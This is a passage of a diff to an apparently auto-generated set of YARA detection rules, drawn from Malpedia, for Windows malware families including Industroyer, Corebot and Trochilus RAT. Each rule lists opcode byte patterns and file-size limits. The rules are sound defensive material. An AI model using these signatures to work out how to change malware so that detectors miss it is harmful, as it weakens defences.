- $sequence_4 = { aa 341b aa 2c01 } - $sequence_5 = { 894304 83c308 8345fc08 c78548ffffff9c000000 } - $sequence_6 = { 2c00 aa 0411 aa 2c51 aa 3421 } - $sequence_7 = { 2cee aa 2c01 aa 04f1 } - $sequence_8 = { 85c0 0f84d0000000 68???????? 8d85eafeffff 50 } - $sequence_9 = { 8bec 83c4f8 53 ff35???????? e8???????? 6bc004 } + $sequence_0 = { 56 e8???????? 83c408 8d542410 6aff 6a01 52 } + $sequence_1 = { 0f85c1000000 8b15???????? 8d4c2408 51 52 } + $sequence_2 = { 6a00 6a00 ffd3 8b1d???????? 6aff 8d4c2414 6a00 } + $sequence_3 = { a1???????? 85c0 7531 8b35???????? e8???????? 85c0 7519 } + $sequence_4 = { 897c2438 8974243c ffd3 6a00 6a00 89442418 } + $sequence_5 = { 6a00 6a00 ff15???????? 85c0 a3???????? 7404 } + $sequence_6 = { 6a00 52 68???????? 6a00 6a00 89742430 } + $sequence_7 = { 6685c0 743f a1???????? 85c0 7531 } + $sequence_8 = { 68c8000000 6a00 56 e8???????? 83c410 83f8ff } + $sequence_9 = { 6a01 52 6a02 ffd3 8b35???????? } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 99576 } -rule MALPEDIA_Win_Ralord_Auto : FILE +rule MALPEDIA_Win_Cheesetray_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55aeafd0-036d-55da-b447-46a69b58ad1c" + id = "9541e7b5-55cf-5f67-8b69-be87df55796a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ralord" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ralord_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cheesetray_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "0ae32be56308293e8dfe3d78f9cfa5ac160d76644a256ed6b1f7ab39bfe6b399" + logic_hash = "8cd561aadd1b5e2f7790bac0781a0595445a0cbe8294d61c87c9d05b79f48756" score = 75 quality = 75 tags = "FILE" @@ -105594,32 +106048,32 @@ rule MALPEDIA_Win_Ralord_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7473 66813e4250 488d05d0a30100 7465 66813e5246 488d05c1a30100 7457 } - $sequence_1 = { 490b8818080000 756c 4c89c1 4889c6 e8???????? 4889f0 eb5c } - $sequence_2 = { 4929d0 0f82c9000000 4939fc 0f87d2000000 4c01f2 4889f1 e8???????? } - $sequence_3 = { 4801f0 4829d0 4839f0 0f83bb020000 4d8d7b01 410fb60406 4138040e } - $sequence_4 = { 48837d2000 7406 807d2f00 7409 4883c428 5b 5f } - $sequence_5 = { 752a 488b4e20 488b4628 488d15522b0100 41b801000000 ff5018 89c1 } - $sequence_6 = { 0f80de010000 4839fa 7550 4c8b4dd0 4c89c8 48f7d8 0f80c9010000 } - $sequence_7 = { 4889f1 eb27 89442430 488d0551850200 4889442420 488d15a0850200 488d4c2440 } - $sequence_8 = { 488d0daf640100 ba10000000 e8???????? 41b601 84c0 0f85b7000000 48c70600000000 } - $sequence_9 = { 400f90c6 430fb6141a 83c2d0 83fa09 0f87aa090000 } + $sequence_0 = { 83b8a400000000 894d10 7666 8b88a0000000 8b0419 03cb 85c0 } + $sequence_1 = { 8b0c8d80ce4400 83e01f c1e006 8d440124 8b4d10 8a10 } + $sequence_2 = { 75f7 03c0 50 8d4dfc 51 52 e8???????? } + $sequence_3 = { 8b8c24a4000000 83c40c 6a02 51 68???????? ba1f000000 } + $sequence_4 = { 81ec84000000 56 6880000000 6a00 8d4580 50 e8???????? } + $sequence_5 = { 56 6800100000 6a03 56 6a03 6800000080 57 } + $sequence_6 = { 8b5318 52 e8???????? 8b4314 50 e8???????? 83c414 } + $sequence_7 = { 40 8945fc 3b85f8feffff 72ad 8b4508 6a00 6a00 } + $sequence_8 = { 720e 8b4c2410 3b4c2420 0f83b1000000 8b3d???????? 8d9b00000000 68ff1f0000 } + $sequence_9 = { 8d4df4 51 56 e8???????? 6a04 8d9594fdffff } condition: - 7 of them and filesize < 798720 + 7 of them and filesize < 8626176 } -rule MALPEDIA_Win_Corebot_Auto : FILE +rule MALPEDIA_Win_Unidentified_031_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de56ab56-9ec7-5235-bd26-8fc91d55de2c" + id = "a627a0b9-017e-5461-a9b3-c89e0fe42650" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.corebot_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_031_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7aa9c17958ef7c5a98a9be16ab271931413c5066734bfef2ec6f0b99a977cc0f" + logic_hash = "005409f0a75d0a6c7e76852a5fa0d497560f223da31bb6e0d79d2b1a3b3dfeb4" score = 75 quality = 75 tags = "FILE" @@ -105633,38 +106087,32 @@ rule MALPEDIA_Win_Corebot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7df0 8d55f0 e8???????? 85c0 7411 837df000 } - $sequence_1 = { c7411407000000 8d4910 89c6 01c0 c1ee07 } - $sequence_2 = { 8932 5e c3 31c0 ebfa 55 89e5 } - $sequence_3 = { 8a1c08 84db 741c 01c8 } - $sequence_4 = { 8b06 85c0 743d 8b4e04 85c9 751a 83c604 } - $sequence_5 = { 50 ff15???????? 85c0 7418 8b0e 6a00 ff750c } - $sequence_6 = { 894dd8 b907000000 0fb618 895de8 } - $sequence_7 = { 85c0 894dec 7405 8b55e8 eb2c 8b45dc } - $sequence_8 = { e8???????? 807e5800 7509 ff7654 ff15???????? 807e5000 7509 } - $sequence_9 = { ff7010 ff7014 e8???????? 8b45e0 } - $sequence_10 = { eb10 6800800000 6a00 56 } - $sequence_11 = { ff15???????? 8d4634 50 ff15???????? 8d4e0c e8???????? } - $sequence_12 = { ff15???????? 807e5000 7509 ff764c ff15???????? 8d4634 50 } - $sequence_13 = { 85ff 740f 57 ff7508 } - $sequence_14 = { ff742428 e8???????? 8b442424 8d4c2410 } - $sequence_15 = { 85c0 7515 8b4624 3b4620 } + $sequence_0 = { 50 e8???????? 897de8 89bd40ffffff e9???????? 817d8004000400 754f } + $sequence_1 = { 3935???????? 7510 68???????? 68???????? ff15???????? 8b35???????? 8d9544ffffff } + $sequence_2 = { 83bd78ffffff03 0f82e5feffff 33c0 8b4dfc 5f 5e 5b } + $sequence_3 = { 51 52 6a12 ff15???????? 83c44c 8d4da0 ff15???????? } + $sequence_4 = { 898bb8200000 898bbc200000 57 8d83b81e0000 50 ffd6 6810140001 } + $sequence_5 = { 3d05000780 0f858c000000 837d2001 0f85e3000000 8d4de4 e8???????? 85c0 } + $sequence_6 = { e8???????? 8bf8 897dd4 85ff 747f 6a00 53 } + $sequence_7 = { 64a100000000 50 64892500000000 81ec04030000 53 56 57 } + $sequence_8 = { eb03 33f6 46 ff75c0 ff15???????? 59 8bc6 } + $sequence_9 = { 33c0 e9???????? 53 56 ff7508 8d85ecfdffff 50 } condition: - 7 of them and filesize < 1302528 + 7 of them and filesize < 1998848 } -rule MALPEDIA_Win_Newposthings_Auto : FILE +rule MALPEDIA_Win_Shareip_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c55cf5a4-9d2e-5a13-be84-37c432415503" + id = "9f46ee27-fcc3-5b26-9e77-331cb46925ef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newposthings_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shareip_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "13f1fe8829e7836205b87c0389095410b0edec07cc2b8983a118dc935e06f45f" + logic_hash = "b24d153dc5c903a6f61d1f00b3b16ac72a620a7bd569254dc7e2236cbdbfd920" score = 75 quality = 75 tags = "FILE" @@ -105678,32 +106126,32 @@ rule MALPEDIA_Win_Newposthings_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec0c 8b4508 8b483c 01c1 813950450000 7551 8d5178 } - $sequence_1 = { 68ae520110 64a100000000 50 81ec28010000 a1???????? 33c5 } - $sequence_2 = { 8d85f0fcffff 50 6801010000 6a00 c785ecfcffff00000000 } - $sequence_3 = { ff750c e8???????? 83c404 c745200f000000 c7451c00000000 c6450c00 b801000000 } - $sequence_4 = { 8bce e8???????? c745fcffffffff ff36 e8???????? 83c404 8b4df4 } - $sequence_5 = { 833cf5c000021000 7513 56 e8???????? } - $sequence_6 = { 57 a1???????? 33c4 50 8d442420 64a300000000 68f0110210 } - $sequence_7 = { c68518ffffff00 c645fc10 837d9010 720e ffb57cffffff } - $sequence_8 = { 0fb6bc3890b70110 8bc7 c1e804 89bdc4fdffff 8bbde8fdffff 8985c4fdffff } - $sequence_9 = { 83c40c 8d842474040000 6890010000 50 6a00 ff15???????? } + $sequence_0 = { 8b02 8d8c2414010000 ffd0 83bc243001000000 7425 83bc242401000000 7412 } + $sequence_1 = { 56 894c2438 33d2 50 8d4c2440 895c2458 89742454 } + $sequence_2 = { 83f8ff 7566 be10000000 39742444 720d 8b542430 52 } + $sequence_3 = { 8b7e10 8bcf 2b4d10 b867666666 f7e9 c1fa03 8bc2 } + $sequence_4 = { 8b542468 89542424 eb08 8d442468 89442424 39b424ec000000 720d } + $sequence_5 = { 8bc2 c1e81f 03c2 83f803 0f8557feffff 8d78ff 8d742414 } + $sequence_6 = { 50 8d4c2420 51 8d5f20 c744243803000000 89542448 e8???????? } + $sequence_7 = { 8d442408 8da42400000000 8a10 3a11 751a 84d2 } + $sequence_8 = { 8b01 8d7001 8a10 40 84d2 75f9 2bc6 } + $sequence_9 = { 8bce bb03000000 e8???????? eb02 33c0 c78424b000000002000000 8907 } condition: - 7 of them and filesize < 827392 + 7 of them and filesize < 811008 } -rule MALPEDIA_Win_Bootwreck_Auto : FILE +rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c86e0360-3c55-5b68-af4c-6642481fbd38" + id = "5e944258-6f12-5085-8358-b91fb7dc5a09" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bootwreck_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.trochilus_rat_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "a7d19ddda34fd585dce842e8452aa3b90378f4a99b150c5642a8436fb2a84d1d" + logic_hash = "dca7f9603da83736d27e78d66d52610b99014fe1a1d949a52b24e5b787c59a8a" score = 75 quality = 75 tags = "FILE" @@ -105717,34 +106165,34 @@ rule MALPEDIA_Win_Bootwreck_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 9e 3ec9 307dd6 14cc 7466 d59d } - $sequence_1 = { c60424de 57 9c 875c242c ff742404 54 9c } - $sequence_2 = { fd 7919 87c1 0e d9574e 6d 7db2 } - $sequence_3 = { 8b8020334500 c60424ef 60 8d8090b42a7f 8d642434 0f8f702c0000 687b1f6def } - $sequence_4 = { 660fb6db 89f3 660fbef1 5e 660fce 8b742440 88442404 } - $sequence_5 = { 70e8 32ff 46 33e2 41 2eb910b0f8ab 828dc6785b1254 } - $sequence_6 = { e8???????? f6d2 8b5620 60 9c ff742404 89542424 } - $sequence_7 = { 60 e7c6 45 14bb aa 11fe 1d0a3b6a57 } - $sequence_8 = { b6d1 0206 82535e09 3909 a6 ae 57 } - $sequence_9 = { 660fb6c9 660bf9 0fb7cf 8b7d10 894d0c 2acb 32c8 } + $sequence_0 = { 0f8410010000 8b3d???????? 6894e40010 53 ffd7 85c0 0f84fa000000 } + $sequence_1 = { 7405 6a02 5e ebc6 e8???????? eb25 e8???????? } + $sequence_2 = { 2bf9 f7df 1bff 23f8 0f849a000000 8b4708 } + $sequence_3 = { 53 57 8d4e2c 8bf8 2bf9 f7df 1bff } + $sequence_4 = { 56 8bf1 c706d0d10010 e8???????? f6450801 7407 56 } + $sequence_5 = { 8b4dfc 8b06 b201 d2e2 081438 663b5d0c 740e } + $sequence_6 = { 50 6a06 8d85ecfbffff 50 8bcf } + $sequence_7 = { ff7510 8b01 ff750c ff5034 6a00 ff7508 8bfe } + $sequence_8 = { 8bce e8???????? eba2 55 8bec 83ec0c 56 } + $sequence_9 = { a1???????? c705????????90897e00 8935???????? a3???????? ff15???????? a3???????? } condition: - 7 of them and filesize < 10821632 + 7 of them and filesize < 630784 } -rule MALPEDIA_Win_Industroyer_Auto : FILE +rule MALPEDIA_Win_Khrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b70a6e6b-a7b3-5905-a2f3-bca4eedf28ac" + id = "d98fbdf3-9fe4-57f4-bc2e-25361c02b6b3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer_auto.yar#L1-L392" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.khrat_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "d3f1f022d180cc54e73fc2b0f9206b38d6547f8fb0af0d5f384afd232c2b0a2b" + logic_hash = "f897e4b10c9d307944a08dbe843650aba78831f11c2fc81a4d9a80e6f47607a3" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -105756,62 +106204,32 @@ rule MALPEDIA_Win_Industroyer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 ff75fc e8???????? 57 e8???????? 83c414 56 } - $sequence_1 = { 8d85f8fdffff 56 be04010000 56 50 68???????? } - $sequence_2 = { 8d45f4 50 56 57 53 ff15???????? 037df4 } - $sequence_3 = { 53 ffd6 53 e8???????? 59 85c0 } - $sequence_4 = { 68???????? 56 56 ff15???????? 57 8bf0 e8???????? } - $sequence_5 = { 50 6a02 56 e8???????? ff7710 6a03 56 } - $sequence_6 = { 8d45a8 33f6 57 50 e8???????? } - $sequence_7 = { 51 50 56 57 ff15???????? 56 e8???????? } - $sequence_8 = { 6a02 ff15???????? 8bd8 85db 0f849d000000 8d85d0fdffff c785d0fdffff2c020000 } - $sequence_9 = { ff15???????? 89849da0efffff 83c604 43 81fe88000000 7291 } - $sequence_10 = { 8b35???????? 0f1f00 f644241810 7451 } - $sequence_11 = { e8???????? 83c404 33c0 eb19 8d8d90efffff 51 } - $sequence_12 = { 81ec6c040000 a1???????? 33c4 89842468040000 53 8b1d???????? } - $sequence_13 = { 8b35???????? 39bdd8fdffff 741f 8d85d0fdffff 50 53 } - $sequence_14 = { 6800020000 8d85a0fbffff 50 56 ffb59cf3ffff ff15???????? 8b3d???????? } - $sequence_15 = { 0f847bffffff ffb59cf3ffff ffd7 8b4dfc 5f 33cd } - $sequence_16 = { 89442444 8b442418 89442440 8d44243c 50 } - $sequence_17 = { 8bcb 50 e8???????? 83c408 8d95d8fffeff 8bf0 } - $sequence_18 = { c745e0d4ff4000 e9???????? c745dc03000000 c745e0e0ff4000 e9???????? 83e80f 7451 } - $sequence_19 = { eb07 8b0cc5dc084100 894de4 85c9 } - $sequence_20 = { 7417 68???????? 50 ff15???????? 85c0 7407 6a00 } - $sequence_21 = { 7464 68???????? ff35???????? c705????????01000000 c705????????04000000 c705????????00000000 c705????????00000000 } - $sequence_22 = { 80480c01 eb04 80600cfe 807d1000 8b4604 } - $sequence_23 = { 8b4508 dd00 ebc6 c745e0e8ff4000 e9???????? c745e0f0ff4000 e9???????? } - $sequence_24 = { 8b34cd18c20110 8b4d08 6a5a 2bce 5b 0fb70431 663bc7 } - $sequence_25 = { 75f9 8d7c2430 2bd6 4f 8a4701 47 84c0 } - $sequence_26 = { 8945dc 8b1c9dd01f0210 895de0 f6441a2848 8b5d08 0f84ce000000 } - $sequence_27 = { c7825402000000000000 c7825802000000000000 8b8350020000 898250020000 8b8354020000 } - $sequence_28 = { f6470280 760d 68???????? e8???????? 83c404 } - $sequence_29 = { 0f1f440000 8a02 42 84c0 75f9 8d7c2430 2bd6 } - $sequence_30 = { 660f59f5 660f28aa40fe4000 660f54e5 660f58fe } - $sequence_31 = { e9???????? 894ddc c745e0d8ff4000 e9???????? } - $sequence_32 = { 33c2 2500800000 83f800 0f8547ffffff e9???????? 8b542408 } - $sequence_33 = { 59 8bf0 6a01 8bce e8???????? 8d45f8 c706???????? } - $sequence_34 = { 88d8 e2d9 8dbe00000600 8b07 09c0 } - $sequence_35 = { 83eb01 741e 83eb01 7549 399ffc000000 7441 } - $sequence_36 = { 894e10 e8???????? 59 59 85c0 } - $sequence_37 = { ba05000000 8d0d905b4400 e9???????? a90000f07f 752c a9ffff0f00 } - $sequence_38 = { 773c 2b4334 99 f77d8c 894598 3b4b3c } - $sequence_39 = { 7451 8b7d08 8b4514 8b4d10 } + $sequence_0 = { 7415 ff35???????? e8???????? c705????????00000000 833d????????ff 7415 ff35???????? } + $sequence_1 = { 0fb64306 a3???????? 8d7307 56 68???????? e8???????? 6a00 } + $sequence_2 = { e8???????? eb0f 807b06ff 7509 8b4b07 51 e8???????? } + $sequence_3 = { 50 8d8500fcffff 50 6801000080 e8???????? } + $sequence_4 = { c6430500 c6430600 894307 8d7b0b } + $sequence_5 = { 66c746326500 66c746347700 66c746363a00 66c746380000 8db500feffff } + $sequence_6 = { 8d8500fcffff 50 e8???????? 6a00 51 8d8500fcffff 50 } + $sequence_7 = { e8???????? 0bc0 0f84da000000 d1e0 8985fcfbffff ffb5fcfbffff } + $sequence_8 = { c9 c3 55 8bec 81c490fbffff } + $sequence_9 = { c9 c3 55 8bec 81c4f8fbffff 8d9d00fcffff } condition: - 7 of them and filesize < 983040 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Lpeclient_Auto : FILE +rule MALPEDIA_Win_Downeks_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "74413435-5011-52f6-9527-2aa5c727e8b5" + id = "c1af7457-a967-5afd-afe7-3e5e1a0a9026" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lpeclient_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downeks_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "b5d510f66f1063fb0bc5e208227e246c4a78a2503ab8649007e1796f9f802e10" + logic_hash = "2a5314b1c911549ae340f3f5ef76252cb23ca35ba95d30c0718999dad54c01d3" score = 75 quality = 75 tags = "FILE" @@ -105825,32 +106243,32 @@ rule MALPEDIA_Win_Lpeclient_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d5c3e04 b8fcffffff 2bc7 8b7c2430 03f8 81ff00100000 } - $sequence_1 = { 488d05ddf80000 483947f0 7412 488b0f 4885c9 740a } - $sequence_2 = { c7450c74006900 c745106f006e00 c745143a002000 c745184b006500 c7451e70002d00 c7452241006c00 } - $sequence_3 = { 488d0518f90000 483bc8 741a 83b96001000000 7511 e8???????? 488b8b58010000 } - $sequence_4 = { 4c8d0da1fd0000 33c0 498bd1 448d4008 3b0a 742b ffc0 } - $sequence_5 = { 48c1e814 488d0dbfd2ffff 83e00f 339481a0a40100 } - $sequence_6 = { 488bcf ff15???????? 488b8c2400030000 4833cc e8???????? 488b9c2420030000 } - $sequence_7 = { 7508 42807c120122 7427 41ffc0 48ffc2 443bc1 } - $sequence_8 = { 33d2 48f7d1 83e903 85c9 7e1c 6690 42803c123a } - $sequence_9 = { 0f84b8010000 488d2d15e70000 41bc14030000 4c8d0528800000 488bcd 418bd4 e8???????? } + $sequence_0 = { 8bec 817d08c8000000 53 56 8bf0 8b9e38040000 57 } + $sequence_1 = { c3 b8042c0804 5d c3 b8ec250804 5d c3 } + $sequence_2 = { c20c00 8bc1 ddd8 894dd8 81e1ffffff7f 8955cc 894dd0 } + $sequence_3 = { 8b7d08 8bc7 c1f805 8bf7 83e61f c1e606 033485e0ffb405 } + $sequence_4 = { 8bbd48ffffff 039d68ffffff c1ef03 33f7 03f3 03b544ffffff 897584 } + $sequence_5 = { b820000000 8bce e8???????? 33c0 5f 5e 5b } + $sequence_6 = { 8d5df0 8b5508 893a 393b 0f8598000000 56 e8???????? } + $sequence_7 = { c746140f000000 c7461000000000 6839ac0804 8bce c60600 e8???????? eb7a } + $sequence_8 = { c78550ffffff01000000 89b7a0040000 394d98 7c12 7f08 8b5594 3b558c } + $sequence_9 = { 6a3f 85c0 7403 40 eb09 8b55e8 8b8298000000 } condition: - 7 of them and filesize < 289792 + 7 of them and filesize < 1318912 } -rule MALPEDIA_Win_Collectorgoomba_Auto : FILE +rule MALPEDIA_Win_Rover_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "030c7bf4-8b0d-51f1-a0c7-6787c27c5097" + id = "451be843-c1b6-533c-b0b3-7d3bb00747ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collectorgoomba_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rover_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "da75c37e8b44a581ccdac242b61ed90697e0dec4be3fbb969cde47a5043e7eae" + logic_hash = "31c11b80e1502485f7e7215f291e9c4bbf44558d14836234edb24070e18bf1ca" score = 75 quality = 75 tags = "FILE" @@ -105864,32 +106282,32 @@ rule MALPEDIA_Win_Collectorgoomba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff30 ff7508 e8???????? 59 59 898504ffffff 6af7 } - $sequence_1 = { 8b45f4 c1e803 8b4d08 8b4954 0fb60401 8b4df4 83e107 } - $sequence_2 = { ff75fc e8???????? 83c410 ff75c8 ff7588 6a7a ff75fc } - $sequence_3 = { ff702c ff7508 e8???????? 83c40c ff75f4 6a24 ff75fc } - $sequence_4 = { ff750c ff75e8 ff75e4 e8???????? 83c414 8b4df4 64890d00000000 } - $sequence_5 = { ff15???????? 59 8b4514 83e002 7421 ff7518 8b4514 } - $sequence_6 = { ffb594feffff ffb590feffff e8???????? 83c40c c645fc23 8d8d54fcffff e8???????? } - $sequence_7 = { ff75f8 e8???????? 83c418 33c0 40 e9???????? 8b450c } - $sequence_8 = { ffb558ffffff ffb554ffffff 8b4508 ff30 e8???????? 83c418 8945d0 } - $sequence_9 = { ffb518ffffff 8d8500fdffff 50 e8???????? 83c40c 898514ffffff 8b8514ffffff } + $sequence_0 = { 7478 8b4c2474 8d442434 50 68ff3f0000 8d83f4050000 50 } + $sequence_1 = { eb03 83c604 56 ff15???????? 33c9 83c404 84c0 } + $sequence_2 = { 8b0d???????? 50 51 6a02 6a1c 8d9424dc000000 52 } + $sequence_3 = { 8b5b10 8b44241c 8d4bfc 3bc1 745c 8928 83c004 } + $sequence_4 = { eb6a 80bc241d01000000 7409 51 ff15???????? eb57 80bc241e01000000 } + $sequence_5 = { 85c0 740c 8b0d???????? 8b5140 50 ffd2 8d442428 } + $sequence_6 = { 83beb000000000 0f846d030000 83bb5802000000 742c 83bb4087000000 7523 8b8e94000000 } + $sequence_7 = { 33ff 837d3805 89442410 894c2414 897c240c 750e 8bc6 } + $sequence_8 = { 897c2424 83ffff 0f84e8060000 8b2d???????? } + $sequence_9 = { ff25???????? 8d8d48ffffff ff25???????? 8b542408 8d8230ffffff 8b8a2cffffff 33c8 } condition: - 7 of them and filesize < 1400832 + 7 of them and filesize < 704512 } -rule MALPEDIA_Win_Nosu_Auto : FILE +rule MALPEDIA_Win_Mulcom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "44d00c94-691a-5086-98b8-273bd29fa9af" + id = "796c69f9-5b53-545d-88e3-bfd165a4b278" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nosu_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mulcom_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "83643ba3003fff83421e0f7b019711e99b216991f08f5d871e4aa2d5ab6fc03f" + logic_hash = "2762a73c90997100242e2050e0b97b2b7a616be77c2385bca6805b6497e289e6" score = 75 quality = 75 tags = "FILE" @@ -105903,32 +106321,32 @@ rule MALPEDIA_Win_Nosu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8455010000 8d442438 50 8d442424 50 6a02 6a01 } - $sequence_1 = { 50 6a00 8d54246c e8???????? 83c40c 84c0 0f8477020000 } - $sequence_2 = { 33d2 8bcb ff742420 55 56 ff74242c 56 } - $sequence_3 = { 8844240a 84c0 7416 b201 8bce e8???????? 8b4514 } - $sequence_4 = { 399688010000 7432 3996d8050000 742a 8b8ef8070000 ff7514 } - $sequence_5 = { 8d86e0020000 85c0 740d 6a5c 59 } - $sequence_6 = { 89b658080000 50 56 b201 8bcf e8???????? 83c414 } - $sequence_7 = { 83c520 55 6a08 ff15???????? 50 ff15???????? } - $sequence_8 = { c9 c3 57 8bfa 3b4c2408 740d 8bd1 } - $sequence_9 = { 83c01e 03c7 0101 ff414c 8d4c2418 e8???????? 5f } + $sequence_0 = { ff15???????? b801000000 488b8d70050000 4833cc e8???????? 4c8d9c2480060000 498b5b28 } + $sequence_1 = { 488d4b27 4883c8ff 483bcb 480f46c8 e8???????? 488bc8 4885c0 } + $sequence_2 = { 488d4398 483bc6 75c8 488b5c2430 488b4c2440 482bcb 48b80dc3300cc3300cc3 } + $sequence_3 = { 0f86cd000000 8bc6 4c8d3440 4c8b7c2438 4c8d4dff } + $sequence_4 = { 488b03 48634804 4803cb 4533c0 8bd7 e8???????? 90 } + $sequence_5 = { 488d4c2440 e8???????? 488d5530 48837d4810 480f435530 8b5d40 448bc3 } + $sequence_6 = { eb73 4c8d442430 ba0e000000 488bcf ff15???????? 85c0 750b } + $sequence_7 = { 55 488bec 4883ec70 488b05???????? 4833c4 488945f0 488955d0 } + $sequence_8 = { 498b4110 d020 c3 81fa80000000 731e 4183f804 7318 } + $sequence_9 = { 751f 488b0d???????? 488d1d55e80200 483bcb 740c e8???????? 48891d???????? } condition: - 7 of them and filesize < 513024 + 7 of them and filesize < 867328 } -rule MALPEDIA_Win_Pteranodon_Auto : FILE +rule MALPEDIA_Win_Ratel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "72fb35bc-9b29-55b2-a918-b3f0192a8f01" + id = "3659af5a-6903-5ae8-965b-97a9526108b3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pteranodon_auto.yar#L1-L175" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratel_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "563c856f09bd2595e0a91450a96a721d247fe131fa027b2937b641124422f09c" + logic_hash = "89a6fc619b74a1abf97d7e9ad932eeb9075f956a974cadff963b35627fbf078a" score = 75 quality = 75 tags = "FILE" @@ -105942,38 +106360,32 @@ rule 